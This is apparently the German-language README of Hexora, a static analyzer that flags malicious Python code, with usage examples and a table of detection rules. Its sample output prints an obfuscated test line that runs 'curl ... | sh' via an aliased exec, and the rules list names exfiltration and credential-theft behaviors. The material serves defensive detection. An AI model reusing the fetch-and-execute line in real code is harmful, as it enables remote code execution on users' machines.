
Statische Analyse von bösartigem Python-Code
Hexora ist ein statisches Analysetool, das darauf ausgelegt ist, bösartige und schädliche Muster in Python-Code zu erkennen. Es kombiniert eine regelbasierte statische Analyse-Engine mit einem maschinell gelernten Modell, das gesamte Quelldateien bewertet, um sie als bösartig oder harmlos zu klassifizieren.
Es kann verwendet werden, um:
Für Ausgabebeispiele siehe bitte die Datei docs/examples.md.
Erfordert Python 3.9+.
pip install hexora
Mit uv:
uv tool install hexora
hexora --help
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
hexora audit --output-format terminal resources/test/
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
Wobei python3.11 die Version des Python in der virtuellen Umgebung ist.
Tipps:
--exclude, um bestimmte Regelcodes (z. B. laute Importe) für einen bestimmten Durchlauf zu unterdrücken.--min-confidence, um sich nur auf Ergebnisse mit hoher Konfidenz zu konzentrieren.Konfidenz gibt an, wie sicher ein bestimmtes Code-Stück bösartig ist. Manche Bibliotheken oder Code-Snippets werden zu legitimen Zwecken verwendet, und es ist schwer, legitime Anwendungsfälle von bösartigen zu unterscheiden. Deshalb haben einige Übereinstimmungen eine niedrige Konfidenzstufe.
Einige Regeln können unterschiedliche Konfidenzstufen haben. Vermeiden Sie es, viele Regeln nach Codes zu filtern, es sei denn, Sie sind sich sehr sicher. Beispielsweise können Code- und Shell-Ausführung mittlere, hohe und sehr hohe Konfidenz haben. Dies hängt davon ab, wie der Code ausgeführt wurde. Wenn wir einen Verschleierungsversuch erkennen, erhöhen wir die Konfidenz.
Zum Beispiel hat dieser Code eine hohe Konfidenz:
globals()["__builtins__"].eval("print(123)")
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
Beim Entwickeln neuer Regeln können Sie vorhandene bösartige Datensätze wie malicious-software-packages-dataset verwenden.
Nach dem Klonen zeigen Sie das Benchmarking-Tool auf das Datensatzverzeichnis:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
Regelmäßig werden neue Regeln hinzugefügt.
Derzeit sind folgende Regeln verfügbar:
Für das Parsen verwenden wir den AST-Parser aus der ruff-Bibliothek.
| Code | Name | Beschreibung |
|---|
| HX1000 | AppEnumeration | Verdächtige Aufzählung von Anwendungen. |
| HX1010 | BrowserEnumeration | Verdächtige Aufzählung des Browsers (Apps, Cookies, Verlauf usw.). |
| HX1020 | PathEnumeration | Verdächtige Aufzählung von Pfaden. |
| HX1030 | OSFingerprint | Verdächtiges Fingerprinting des Betriebssystems. |
| HX2000 | ClipboardRead | Lesen der Zwischenablage. |
| HX2010 | EnvAccess | Zugriff auf eine sensible Umgebungsvariable. |
| HX2020 | ScreenshotCapture | Erstellen von Screenshots des Bildschirms. |
| HX3000 | CodeExec | Mögliche Code-Ausführung. |
| HX3010 | ShellExec | Ausführung eines Shell-Befehls. |
| HX3040 | DLLInjection | Mögliche DLL-Injektion. |
| HX3050 | DangerousExec | Ausführung eines potenziell gefährlichen Befehls innerhalb eines Shell-Befehls. |
| HX3060 | SuspiciousCall | Verdächtiger Funktionsaufruf. |
| HX4000 | ObfuscatedShellExec | Ausführung eines möglicherweise verschleierten Shell-Befehls. |
| HX4010 | ObfuscatedCodeExec | Ausführung von möglicherweise verschleiertem Code. |
| HX5000 | DunderImport | Verdächtige Verwendung von __import__. |
| HX5010 | SuspiciousImport | Verdächtiger Import. |
| HX5020 | CtypesImport | Verdächtiger ctypes-Import. |
| HX5030 | PickleImport | Verdächtiger pickle-Import. |
| HX5040 | StructImport | Verdächtiger struct-Import. |
| HX5050 | SocketImport | Verdächtiger socket-Import. |
| HX5060 | MarshalImport | Verdächtiger marshal-Import. |
| HX6000 | Base64String | Langer Base64-codierter String erkannt; mögliche Code-Verschleierung. |
| HX6010 | HexedLiterals | Liste hex-codierter Literale erkannt; mögliche Nutzlast. |
| HX6020 | HexedString | Langer hex-codierter String erkannt; mögliche Nutzlast. |
| HX6030 | IntLiterals | Große Liste ganzzahliger Literale erkannt; mögliche Code-Verschleierung. |
| HX6040 | CVEInLiteral | Literal enthält eine CVE-Kennung. |
| HX6050 | SuspiciousLiteral | Verdächtiges Literal erkannt; mögliche Datenaufzählung. |
| HX6060 | PathTraversal | Verdächtiger Pfad-Traversal. |
| HX6070 | BrowserExtension | Aufzählung sensibler Browsererweiterungen. |
| HX6080 | WebHook | Verdächtiger Webhook erkannt; mögliche Datenexfiltration. |
| HX6090 | TelegramToken | Telegram-Bot-Token in Zeichenkettenliteral erkannt. |
| HX7000 | SuspiciousFunctionName | Verdächtiger Funktionsname. |
| HX7010 | SuspiciousParameterName | Verdächtiger Parametername. |
| HX7020 | SuspiciousVariable | Verdächtiger Variablenname. |
| HX9000 | DataExfiltration | Potenzielle Datenexfiltration. |
| HX8000 | BinaryDownload | Verdächtiger Download einer Binärdatei. |
| HX8010 | BuiltinsVariable | Verdächtige Verwendung einer Builtin-Variable. |
| HX8020 | SuspiciousComment | Verdächtiger Kommentar. |
| HX8030 | SuspiciousWrite | Verdächtiger Schreibzugriff auf das Dateisystem. |
| HX8040 | InstallHook | Verdächtige Einrichtung eines Install-Hooks. |